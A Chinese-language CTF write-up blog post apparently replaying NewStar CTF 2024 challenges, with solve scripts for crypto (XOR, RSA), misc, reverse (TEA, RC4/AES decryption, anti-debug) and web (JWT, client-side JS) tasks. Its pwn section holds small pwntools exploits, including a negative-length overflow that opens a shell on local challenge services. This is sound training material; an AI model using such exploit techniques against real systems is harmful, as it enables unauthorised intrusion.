前言

感觉基础有点问题,但是因为参加了25Newstar的出题还帮测了一些题目,于是干脆重新打一遍Newstar2024了。

应该主要是Reveres,cry、misc、pwn看情况复现(web吗也加到todolist里吧),感觉Newstar2025 Reverse有些我没测的题目还想做一下,总之这是一个todolist,新生赛的广度确实好玩,适合入门,赞美newstar!

逆向的可能写的简略一点,逆向主要练代码能力,其他方向以学习为主

复现入口:https://ctf.xidian.edu.cn/training/14

我的复现进度比我想的慢好多可恶TT

Week1

Crypto

Base

1
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

cyberchef from hex + magic

1
flag{B@sE_0f_CrYpt0_N0W}

Strange King

1
ksjr{EcxvpdErSvcDgdgEzxqjql}

观察得是凯撒,根据前四位为flag得位移分别为5,7,9,11,以此类推

1
flag{RngcugFqPqvUvqrNgctkpi}

因为flag有意义,随波逐流一下
1
flag{PleaseDoNotStopLearing}

xor

1
2
m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
c1 = m1 ^ bytes_to_long(key)

取flag的前13字节当成一个大整数,做法是为了把这一段(13字节)当成一个大字节来异或。
把key 也bytes_to_long转为整数,然后与 m1 做按位异或

1
2
m2 = flag[13:]
c2 = xor(key, m2)

取剩下的字节,这里m2是str
这里key是bytes,m2是str,pwntools的xor会把两者处理成bytes并对key循环重复来匹配m2的长度。
那么

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# c1 = m1 ^ bytes_to_long(key)
# c2 = xor(key, m2)

from pwn import xor
from Crypto.Util.number import bytes_to_long
key = b'New_Star_CTF'
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'

m1 = c1 ^ bytes_to_long(key)
m1_bytes = bytes.fromhex(hex(m1)[2:])
m2 = xor(key, c2)
print(m1_bytes + m2)

# flag{0ops!_you_know_XOR!}

一眼秒了

getPrime()生成一个随机素数,n = p*q RSA公钥模数n,powmod(m, e, n)计算密文 c = m^e mod n
https://factordb.com/
分解得到:

1
2
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093

现在已知 𝑝,𝑞,𝑛,𝑐,𝑒,可以完全破解RSA。
因为 所以 由费马小定理:对原始明文

欧拉函数φ(n) 来表示 小于n并与之互质的正整数
1、 如果n 是质数,则φ ( n ) = n − 1
2、 如果n可以表示成2个互质的数的乘积,即n = p × q,那么φ ( n ) = φ ( p ) × φ ( q )

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from gmpy2 import *

n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = int(powmod(c, d, n))
flag = long_to_bytes(m)
print(flag)

# flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Misc

Labyrinth

打了LSB隐写的标签,用stegslove发现red plane 0时发现一个二维码,扫了一下得到flag

1
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

WhereIsFlag

西电的远程确实有点麻烦,我现在下他们那个软件还没西电那个表得自己映射欸。

1
2
guest@ret2shell-578-7189-1762936515 guest/> cat fake_flag_in_user_home
fake_flag{fake_flag}

绷不住
1
2
guest@ret2shell-578-7189-1762936515 self/> cat environ
THE_REAL_FLAG_IN_ENVIRON => flag{neWst4R-Ctf-Z0ZA34546c39eef5}

decompress

确实第一次见分卷压缩包

1
^([a-z]){3}\d[a-z]$

正则匹配“3个小写字母 + 1个数字 + 1个小写字母”,爆破密码
掩码格式
1
?l?l?l?d?l

pleasingMusic

挺好听的,听了一下中间夹了摩斯密码,找了个在线网站。
https://morsecodegenerator.org/zh/morse-audio-translator
不太对,倒置解读得到EZ_MORSE_CODE

兑换码

提示宽高改写,改个高度就行

1
flag{La_vaguelette}

PWN

Game

一年过去看到pwn题的第一想法还是想patch()
每轮读取一个int,n10 < 0 || n10 > 10则跳出循环,且一开始调用了alarm(5u),进程在 5 秒后会被 SIGALRM,写个脚本发就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __noreturn game()
{
v2 = __readfsqword(0x28u);
n999 = 0;
n10 = 0;
puts("Let's play a game!");
alarm(5u);
while ( 1 )
{
printf("pls input you num: ");
__isoc99_scanf("%d", &n10);
if ( n10 < 0 || n10 > 10 )
break;
n999 += n10;
if ( n999 > 999 )
system("/bin/sh");
}
exit(-1);
}

exp
1
2
3
4
5
6
7
8
from pwn import*
Host="127.0.0.1"
port=64596
p=remote(Host,port,timeout=10)
payload=("10\n"*100).encode()
p.send(payload)
p.interactive()
# flag{n3W5t@R_cTf_20ZA323c4f600356}

real login

发NewStar!!!就行,用的windows所以写脚本了

1
2
3
4
5
6
7
8
from pwn import*
p = remote("127.0.0.1", 53636, timeout=5)
p.sendline(b"NewStar!!!")
p.recvuntil(b"congratulations!!")
p.sendline(b"cat flag")
print(p.recv(timeout=1).decode())
p.interactive()
# flag{n3wstar-cTf-2O2Afac8a376cf8}

gdb

把 s 设为 “0d000721”,把 mysecretkey123… 放到栈上,然后调用 sub_12E5(s, len(s), key) 把 s“加密/变换”成某个值;接着程序提示你 Input your encrypted data:,把输入的内容与内存里被变换后的 s 做 memcmp(按 n = strlen(s) 比较),相等就会打印 Congratulations! 并把 /flag 的内容读出来写到 stdout。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v3; // rax
size_t n; // rax
int fd; // [rsp+0h] [rbp-440h]
char s[9]; // [rsp+7h] [rbp-439h] BYREF
_QWORD mysecretkey1234567890abcdefghijk[4]; // [rsp+10h] [rbp-430h] BYREF
_BYTE buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v10; // [rsp+438h] [rbp-8h]

v10 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
strcpy(s, "0d000721");
qmemcpy(
mysecretkey1234567890abcdefghijk,
"mysecretkey1234567890abcdefghijk",
sizeof(mysecretkey1234567890abcdefghijk));
printf("Original: %s\n", s);
v3 = strlen(s);
sub_12E5(s, v3, mysecretkey1234567890abcdefghijk);
printf("Input your encrypted data: ");
read(0, buf, 0x200uLL);
n = strlen(s);
if ( !memcmp(s, buf, n) )
{
printf("Congratulations!");
fd = open("/flag", 0);
memset(buf, 0, 0x100uLL);
read(fd, buf, 0x100uLL);
write(1, buf, 0x100uLL);
}
return 0LL;
}

gdb调一下,有基地址偏移用bbase 0x1847,把s直接读出来是0x4557455355431d5d,

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote("127.0.0.1", 58367, timeout=5)
p.recvuntil(b"Input your encrypted data:")
num=0x4557455355431d5d
payload=p64(num)
p.sendline(payload)
p.recvuntil(b"Congratulations!")
p.sendline(b"cat flag")
print(p.recv(timeout=1).decode())
p.interactive()
# flag{0579be01-51a9-794e-9a64-7c153971d282}

overwrite

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote("127.0.0.1", 49457)

p.recvuntil(b"pls input the length you want to readin: ")
p.sendline(b"-1")

payload = b"A" * 0x30 + b"114515"
p.recvuntil(b"pls input want you want to say: ")
p.send(payload)

p.interactive()
# flag{nEwstAR_ctf-ZOZ417265830925b}

Reverse

Simple_encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cipher=[0x47, 0x95, 0x34, 0x48, 0xa4, 0x1c, 0x35, 0x88, 0x64, 0x16, 0x88, 
0x7, 0x14, 0x6a, 0x39, 0x12, 0xa2, 0xa, 0x37, 0x5c, 0x7, 0x5a, 0x56,
0x60, 0x12, 0x76, 0x25, 0x12, 0x8e, 0x28]

# for ( j = 0; j < len; ++j )
# {
# if ( !(j % 3) )
# input[j] -= 0x1F;
# if ( j % 3 == 1 )
# input[j] += 0x29;
# if ( j % 3 == 2 )
# input[j] ^= 0x55u;
# }
for i in range(len(cipher)):
if i % 3 == 0:
cipher[i] += 0x1F
elif i % 3 == 1:
cipher[i] -= 0x29
else:
cipher[i] ^= 0x55

print(chr(cipher[i]), end='')
# flag{IT_15_R3Al1y_V3Ry-51Mp1e}

base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64

from hashlib import md5


def base64decode(s):
old_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
new_table = 'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/'
s = s.translate(str.maketrans(new_table, old_table))
return base64.b64decode(s)

def decrypt(s):
t = base64decode(s)
# return bytes(i ^ len(t) for i in t)
return bytes(t)


print(decrypt('g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=').decode())
# flag{y0u_kn0w_base64_well}

begin

1
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

ezAndroidStudy

1
flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

ez_debug

忘写了,动调就送

Web

web好好玩

PangBai 过家家(1)

level1:

1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6MX0.sVTlHQPRzFgVAMZbZrWT5qCKd7zUwYawx9GaFBejOb0

这是一段JWT
JWT 结构一般是:
1
header.payload.signature

拆分成三部分:
1
2
3
header:   eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
payload: eyJsZXZlbCI6MX0
signature:sVTlHQPRzFgVAMZbZrWT5qCKd7zUwYawx9GaFBejOb0

header and payload from base64:
1
2
{"alg":"HS256","typ":"JWT"}
{"level":1}

谜语题不写了

会赢吗

按F12在3ntranc3搜到了字符串,一眼base64

1
<!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->

找到第二关http://127.0.0.1:55339/4cqu1siti0n
看到了hint:你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!
点出神秘代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

这里请求了一个后端接口/api/flag/<className>
1
2
3
4
5
revealFlag('4cqu1siti0n')
Promise {<pending>}
4cqu1siti0n:95 恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs
……
时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l

第三关
1
<button type="submit">解封!!!</button>

按钮被逻辑封印了
1
2
3
4
if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

解封:
1
2
document.getElementById("state").textContent="解封";
第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x

浏览器禁用 JavaScript 时.s 这个 class 的元素被显式隐藏了:
1
2
3
4
5
6
7
8
9
10
11
12
<npscript>
<form class="s" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">无量空处!!</button>
</form>
</noscript>
```
解救出来
把 <noscript> 里的隐藏内容插入到页面中,变成可见的 HTML。
```js
document.body.innerHTML += document.querySelector('noscript').innerHTML;
document.querySelectorAll('.s').forEach(e => e.style.display = 'block');

1
{"flag":"fSkpKcyF9","nextLevel":null}

Week2

Reverse

Dirty_flowers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:004012F1 50                                            push    eax
.text:004012F2 E8 00 00 00 00 call $+5
.text:004012F7
.text:004012F7 loc_4012F7: ; DATA XREF: _main+48↓o
.text:004012F7 58 pop eax
.text:004012F8 83 C0 0C add eax, (offset loc_401303 - offset loc_4012F7)
.text:004012FB 50 push eax
.text:004012FC C3 retn
.text:004012FC _main endp ; sp-analysis failed
.text:004012FC
.text:004012FC ; ---------------------------------------------------------------------------
.text:004012FD E8 FF 90 db 0E8h, 0FFh, 90h
.text:00401300 90 db 90h
.text:00401301 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS CTRL-NUMPAD+ TO EXPAND]
.text:00401302 ; ---------------------------------------------------------------------------
.text:00401302 58 pop eax
.text:00401303
.text:00401303 loc_401303:

这段全nop了:

push eax把eax压栈,esp-4=eax

call $+5,near call,偏移是 0(表示跳到下一条指令),利用 call 把 EIP 压入栈,不是真跳转。

近跳转near call,本段调用(同一CS),opcode为E8,后面耕者的是32bit的有福换相对偏移

栈上现在(从栈顶向下):

1
2
[esp] = 0x4012F7  ; 由 call 压入
[esp+4] = 原来被 push eax 压入的值

到达 loc_4012F7: 执行 pop eax:从栈顶取eax再把esp+4,所以eax = loc_4012F7

add eax, (offset loc_401303 - offset loc_4012F7)得出eax = loc_4012F7 + (loc_401303 - loc_4012F7) = loc_401303

push eax把eax压栈,然后retn会从栈顶弹出一个值把它作为EIP

因此push eax; retn 的组合等价于jmp eax(直接跳到 eax 指向的地址)

执行完后,程序流跳至 ``loc_401303

exp:

1
2
3
4
5
6
7
cipher=[0x2, 0x5, 0x13, 0x13, 0x2, 0x1e, 0x53, 0x1f, 0x5c, 0x1a, 0x27, 0x43, 0x1d, 0x36, 0x43, 0x7, 0x26, 0x2d, 0x55, 0xd, 0x3, 0x1b, 0x1c, 0x2d, 0x2, 0x1c, 0x1c, 0x30, 0x38, 0x32, 0x55, 0x2, 0x1b, 0x16, 0x54, 0xf]
flag=[0]*len(cipher)
key="dirty_flower"
for i in range(len(cipher)):
flag[i]=cipher[i]^ord(key[i%len(key)])
print(''.join([chr(x) for x in flag]))
#flag{A5s3mB1y_1s_r3ally_funDAm3nta1}

Pangbai泰拉记(1)

何意味

1
flag{I_m_wrong_flag_dont_submit}

找到了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if ( miao | IsDebuggerPresent() )
{
qmemcpy(aaa, "nhvviCS", 7);
aaa[7] = 127;
qmemcpy(&aaa[8], "R{e8%oCrdepIvebcR", 17);
aaa[25] = 127;
qmemcpy(&aaa[26], "b>&ah{", 6);
for ( i = 0; i < 32; ++i )
key[i] ^= aaa[i];
}
else
{
qmemcpy(nhvviguMI?u___o_fWivoM_, "nhvviguMI?u\",o/fWivoM;", 22);
nhvviguMI?u___o_fWivoM_[22] = 127;
qmemcpy(Homy2.l__, "Homy2.l#{", sizeof(Homy2.l__));
for ( k = 0; k < 32; ++k )
key[k] ^= nhvviguMI?u___o_fWivoM_[k];
}

exp:
1
2
3
4
5
6
7
8
key_init=b"key1key2key3key4key6key7key8key9"
flag=[0x63, 0x61, 0x6e, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x66, 0x69, 0x6e, 0x64, 0x20, 0x6d, 0x65, 0x20, 0x63, 0x61, 0x6e, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x66, 0x69, 0x6e, 0x64, 0x20, 0x6d, 0x65, 0x3f]
key=bytearray(b'nhvviguMI?u",o/fWivoM;'+bytes([127])+b'Homy2.l#{')
for i in range(len(flag)):
key[i]=key_init[i]^key[i]
flag[i]=flag[i]^key[i%len(key)]
print(''.join([chr(x) for x in flag]))
# flag{my_D3bugg3r_may_1s_banned?}

Ptrace

直接给两个文件吗那很好了
本来直接写的exp

1
2
3
4
5
6
7
cipher=[0xcc, 0x8d, 0x2c, 0xec, 0x6f, 0x88, 0xed, 0xeb, 0x2f, 0xed, 0xae, 0xeb, 0x4e, 0xac, 0x2c, 0x8d, 0x8d, 0x2f, 0xeb, 0x6d, 0xcd, 0xed, 0xee, 0xeb, 0xe, 0x8e, 0x4e, 0x2c, 0x6c, 0xac, 0xe7, 0xaf]
input=[0]*len(cipher)
# for ( i = 0; i < i_1; ++i )
# input[i] = ((int)(unsigned __int8)s[i] >> dword_60004040) | (s[i] << (8 - dword_60004040));
for i in range(len(cipher)):
input[i]=cipher[i]<<4|(cipher[i]>>4)
print(''.join([chr(x) for x in input]))

不可见字符,去看父进程,把4改成了3
1
ptrace(PTRACE_POKEDATA, addr, addr, 3);

EXP:
1
2
3
4
5
6
7
8
cipher=[0xcc, 0x8d, 0x2c, 0xec, 0x6f, 0x88, 0xed, 0xeb, 0x2f, 0xed, 0xae, 0xeb, 0x4e, 0xac, 0x2c, 0x8d, 0x8d, 0x2f, 0xeb, 0x6d, 0xcd, 0xed, 0xee, 0xeb, 0xe, 0x8e, 0x4e, 0x2c, 0x6c, 0xac, 0xe7, 0xaf]
input=[0]*len(cipher)
# for ( i = 0; i < i_1; ++i )
# input[i] = ((int)(unsigned __int8)s[i] >> dword_60004040) | (s[i] << (8 - dword_60004040));
for i in range(len(cipher)):
input[i]=cipher[i]<<3&0xff|(cipher[i]>>5)
print(''.join([chr(x) for x in input]))
# flag{Do_you_really_know_ptrace?}

UPX

下下来就没UPX壳不知道为什么,RC4动调一下就行。

1
flag{Do_you_know_UPX?}

drink_tea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_140001180(unsigned int *a1, char *WelcomeToNewStar)
{
__int64 n4; // rax
unsigned int v3; // [rsp+0h] [rbp-38h]
unsigned int v4; // [rsp+4h] [rbp-34h]
int v5; // [rsp+8h] [rbp-30h]
unsigned int i; // [rsp+Ch] [rbp-2Ch]

v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i < 32; ++i )
{
v5 -= 0x61C88647;
v3 += (*(WelcomeToNewStar + 1) + (v4 >> 5)) ^ (v5 + v4) ^ (*WelcomeToNewStar + 16 * v4);
v4 += (*(WelcomeToNewStar + 3) + (v3 >> 5)) ^ (v5 + v3) ^ (*(WelcomeToNewStar + 2) + 16 * v3);
}
*a1 = v3;
n4 = 4LL;
a1[1] = v4;
return n4;
}

修一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_140001180(uint32_t *v, uint32_t *k)
{
__int64 n4; // rax
uint32_t v0; // [rsp+0h] [rbp-38h]
uint32_t v1; // [rsp+4h] [rbp-34h]
int sum; // [rsp+8h] [rbp-30h]
unsigned int i; // [rsp+Ch] [rbp-2Ch]

v0 = *v;
v1 = v[1];
sum = 0;
for ( i = 0; i < 32; ++i )
{
sum -= 0x61C88647;
v0 += (k[1] + (v1 >> 5)) ^ (sum + v1) ^ (*k + 16 * v1);
v1 += (k[3] + (v0 >> 5)) ^ (sum + v0) ^ (k[2] + 16 * v0);
}
*v = v0;
n4 = 4LL;
v[1] = v1;
return n4;
}

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdint.h>
#include <stdio.h>

void tea_enc(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t sum = 0;
uint32_t delta = 0x61C88647;

for (int i = 0; i < 32; i++) {
sum -= delta;
v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
v[0] = v0;
v[1] = v1;
}

void tea_dec(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x61C88647;
uint32_t sum = -32 * delta;

for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum += delta ;
}
v[0] = v0;
v[1] = v1;
}

int main()
{
// 必须修正为正确高低位顺序
uint32_t v[4][2] = {
{0xb3f72078, 0xdace42c5},
{0x1a215985, 0x595a5626},
{0xed0d0229, 0xeeb9a807},
{0x87115936, 0x24235cfd}
};

uint32_t k[4]={0x636c6557, 0x54656d6f, 0x77654e6f, 0x72617453}; // WelcomeToNewStar
for(int i=0;i<4;i++)
{
tea_dec(v[i], k);
printf("%x", v[i][0]);
printf("%x", v[i][1]);
}

return 0;
}
// 67616c666568547b525f65724145545f4554585f6e615f4158585f647d414554
// galfehT{R_erAET_ETX_na_AXX_d}AET
// flag{There_R_TEA_XTEA_and_XXTEA}

ezencrypt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

cipher=bytearray([0xc2, 0x6c, 0x73, 0xf4, 0x3a, 0x45, 0xe, 0xba, 0x47, 0x81, 0x2a, 0x26, 0xf6, 0x79, 0x60, 0x78, 0xb3, 0x64, 0x6d, 0xdc, 0xc9, 0x4, 0x32, 0x3b, 0x9f, 0x32, 0x95, 0x60, 0xee, 0x82, 0x97, 0xe7, 0xca, 0x3d, 0xaa, 0x95, 0x76, 0xc5, 0x9b, 0x1d, 0x89, 0xdb, 0x98, 0x5d])
key=b"meow"
aes_key=b"IamEzEncryptGame"

def RC4(data: bytes, key: bytes) -> bytearray:
S = list(range(256))
j = 0
out = bytearray()
# KSA
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# PRGA
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
out.append(char ^ K)
return out

native_en=RC4(cipher, key)

for i in range(len(native_en)):
native_en[i]^=key[i%len(key)]

ret_java_cip=base64.b64decode(native_en)

cipher_aes = AES.new(aes_key, AES.MODE_ECB)
flag = unpad(cipher_aes.decrypt(ret_java_cip), AES.block_size)
print(flag.decode())
# flag{0hh_U_kn0w_7h15_5ki11}

Week3

Reverse

011vm